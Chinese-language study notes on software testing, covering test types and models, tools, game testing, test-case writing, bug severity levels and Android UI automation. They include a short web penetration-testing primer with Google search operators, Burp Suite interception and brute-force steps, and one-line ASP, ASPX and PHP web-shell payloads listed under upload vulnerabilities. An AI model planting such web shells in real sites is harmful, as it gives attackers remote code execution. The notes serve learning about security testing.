软件测试基础-概念篇笔记
测试分类:
- 按测试手段分类:
- 黑盒测试:等价类、边界值、错误推测、因果图、正交试验、状态迁移、流程图
- 白盒测试:语句、条件、条件组合、分支、路径覆盖测试
- 静态测试 <-> 动态测试
- 手工测试 <-> 自动化测试
- 按测试模式分类:
- 瀑布模型
- V模型:需求分析、概要设计、详细设计、软件编码、单元测试、集成测试、系统测试、验收测试
- W模型
- X模型
- H模型
- 敏捷测试:
- 敏捷宣言:个体与交互重于过程和工具,可用的软件重于完备的文档,客户协作重于合同谈判,响应变化重于遵循计划
- 重点关注测试新功能,不强调测试阶段,从客户角度测试,强调持续反馈
- 按测试类型分类:
- 功能测试:QTP、selenium
- 性能测试:负载测试、压力测试、稳定性测试,LoadRunner、Jmeter,网页插件YSlow、PageSpeed
- 安全测试:appscan、nmap、nessus
- 渗透测试:www.owasp.org
- 兼容性测试:浏览器内核,browsershots
- 文档测试
- 易用性测试
- 部署测试
- 本地化测试
- 无障碍测试
- 其他:
- 回归测试
- monkey测试
- 冒烟测试
web渗透测试入门笔记
渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。web渗透测试只针对web引用的渗透测试。
常见web安全漏洞:
- 输入输出验证不充分:sql注入、xss、csrf、目录创越、文件上传、代码注入、命令注入、信息泄露、暴力破解…
- 设计缺陷:越权漏洞、非授权对象引用、业务逻辑缺陷
- 环境缺陷:框架漏洞、基础环境漏洞
Google搜索关键词:
- inurl:搜索url网址中包含的指定字符串
- intitle:搜索网页中的标题名中包含指定字符串
- intext:搜索网页正文内容中包含指定字符串
Burpsuite:代理拦截器
- 拦截proxy:在options中配置IP,然后再Intercept中打开Intercept is on,其中forward是发送包,drop是丢弃包,action可以发送到目录栏里
- 抓包
- 改包:在Intercept页面中Raw中直接修改参数
- 重放:打开一个网页,然后在Intercept页面中点击action,选择send to repeater并点击GO进行单步重放,或者选择send to intruder暴力破解,在intruder中进行配置,target是目标网页,positions是可修改内容,payloads是配置参数
- 暴力破解在配置完成之后,点击intruder里的start attack
上传漏洞:
- 一句话木马:
- asp:
<%eval request("pass")%>
- aspx:
<%@ Page Language%><%ecal(Request.Item["pass"]."unsafe")%>
- pgp:
<?php @eval($_POST['pass']);?>
- asp:
- MIME类型:.jpeg/.jpg image/jpeg .html/.htm text/html .tar application/x-tar .exe application/octet-stream
游戏测试入门笔记
功能测试:黑盒测试
性能测试:客户端CPU使用率、内存占用率、流量使用、耗电、帧率,ios使用xcode自带的instrument,android常用emmagee和GT(需要root)
压力测试:系统吞吐量(TPS)、事务响应时间、食物成功率
兼容测试:机型、操作系统、分辨率、版本
安全测试:内存修改测试、客户端加密测试、客户端反编译测试、网络安全测试
接口测试
日志测试:客户端日志、服务端日志
弱网测试:fiddler
gm工具测试
sdk测试
流程:功能会议 -> 测试用例书写 -> 冒烟测试 -> 详细测试 -> 回归测试 -> checklist检查
测试用例:
- 需求文档分析:文档阅读、细节沟通、逻辑梳理、功能拓展思考、兼容性思考
- 功能模块划分:高内聚低耦合、重整体轻局部,功能流程法、层次划分法、类型划分法
- 测试用例编写:格式,首页(用例名称、对应版本、编写人编写日期备注、修改人修改日期备注、需求文档的链接地址)和正文(功能逻辑图、用例id、模块名称、测试先决条件、输入信息、输出结果、备注信息),等价类、边界值、因果图&判定表
- 测试用例整理和维护:避免冗余,备注修改内容
Bug 等级划分:
- P0:致命错误
- P1:严重错误
- P2:一般错误
- P3:无关紧要的错误
Android UiAutomator 2.0 入门实战
单元测试 -》 接口测试 -》 UI测试
工具发展:monkeyrunner -> activitytest -> uiautomator 1.0 -> espresso & uiautomator 2.0,第三方框架appnium
框架结构:adb(junit) -> ATSL -> espresso & uiautomator 2.0
黑盒UI测试:搜索条件 -> 组件 -> 操作组件